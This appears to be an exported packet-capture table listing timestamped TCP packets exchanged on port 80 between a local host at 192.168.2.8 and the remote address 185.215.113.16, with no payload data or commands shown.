Nov 8, 2024 15:21:31.416985989 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416996956 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417010069 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417018890 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417053938 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417113066 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417150974 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417175055 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417210102 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417264938 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417278051 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417288065 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417299986 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417315960 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417332888 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417411089 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417422056 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417433977 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417444944 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417448044 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417460918 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417462111 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417476892 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417493105 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417643070 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417742968 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417778969 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417823076 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417834044 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417846918 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.417861938 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.417881966 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418062925 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418073893 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418085098 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418096066 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418106079 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418107033 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418118954 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418123007 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418148994 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418329000 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418399096 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418410063 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418433905 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418445110 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418554068 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418564081 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418575048 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418586016 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418601036 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418762922 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418780088 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418801069 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418812037 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418812037 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418814898 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418823957 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.418829918 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418843031 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.418865919 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.419055939 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.419091940 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421251059 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421304941 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421317101 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421323061 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421340942 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421363115 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421437979 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421451092 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421462059 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421473026 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421474934 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421494007 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421514988 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421544075 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421556950 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421597958 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421678066 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421694040 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421705008 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421720982 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421739101 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421859980 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421870947 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421881914 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421899080 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421909094 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421911955 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421925068 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421926975 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421937943 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.421955109 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.421983004 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.422230005 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422247887 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422286987 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.422303915 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422313929 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422341108 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.422363997 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.422426939 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422437906 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422451019 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422462940 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422475100 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.422503948 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.422665119 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422676086 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422689915 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422700882 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422703981 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.422713041 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422724009 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422729969 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.422734022 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.422758102 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.422777891 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.429409027 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.429426908 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.429438114 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.429478884 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.429505110 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.534862995 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.535840034 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571096897 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571125031 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571140051 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571228027 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571252108 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571274042 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571301937 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571322918 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571345091 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571369886 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571472883 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571485043 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571496010 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571507931 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571512938 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571538925 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571554899 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571712017 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571722984 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571734905 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571751118 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571754932 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571763992 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.571784973 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571810961 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.571996927 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572009087 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572021008 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572032928 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572036982 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572062969 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572077990 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572096109 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572107077 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572119951 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572130919 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572141886 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572149038 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572154045 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572156906 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572166920 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572177887 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572185040 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572190046 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572205067 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572222948 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572242022 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572840929 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572853088 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572865009 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572877884 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572890997 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572896957 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572901964 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572913885 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572921038 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572925091 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.572941065 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572959900 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.572981119 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.573446035 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573457956 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573470116 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573481083 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573492050 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573506117 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573510885 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.573523045 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573534012 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573535919 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.573545933 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.573545933 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573559999 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573571920 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573575020 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.573581934 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.573584080 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573595047 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573604107 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.573606014 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573617935 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.573626995 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.573652029 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.573669910 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.574346066 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574357986 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574368954 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574381113 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574397087 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574402094 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.574412107 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574418068 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574424982 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.574429989 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574441910 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574448109 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.574454069 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574465990 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574475050 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.574477911 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574490070 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574501038 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574508905 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.574515104 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574526072 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.574531078 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.574544907 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.574565887 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.575285912 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575297117 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575308084 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575326920 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575340033 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575351954 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575354099 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.575366020 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575375080 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.575378895 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575390100 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575401068 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575404882 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.575412989 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575424910 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575433969 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.575434923 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575447083 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575448036 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.575459003 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.575472116 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.575494051 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.575512886 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.576051950 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.576062918 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.576072931 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.576082945 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.576096058 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.576107979 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.576133966 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.576153040 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.576318979 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.576330900 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.576350927 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.576361895 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.576361895 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.576381922 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.576405048 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.675323963 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.675801992 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.676448107 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.676496983 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.689002991 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689208031 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689219952 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689227104 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689233065 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689239025 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689244986 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689443111 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.689539909 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689551115 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689562082 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689573050 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689584970 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689589977 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.689596891 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689609051 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689615011 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.689620972 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689634085 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689640045 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.689657927 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.689692974 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.689984083 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.689994097 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690005064 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690033913 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690046072 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690248966 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690259933 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690269947 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690279961 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690290928 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690299034 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690300941 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690310955 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690321922 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690330982 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690332890 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690342903 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690350056 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690359116 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690370083 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690371990 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690387011 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690418959 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690841913 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690854073 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690865040 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690881968 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690881968 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690895081 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690911055 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690937042 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690946102 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690957069 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690967083 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690979004 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690984964 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.690988064 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.690999985 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.691010952 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.691020966 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.691032887 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.691044092 CET	80	49840	185.215.113.16	192.168.2.8
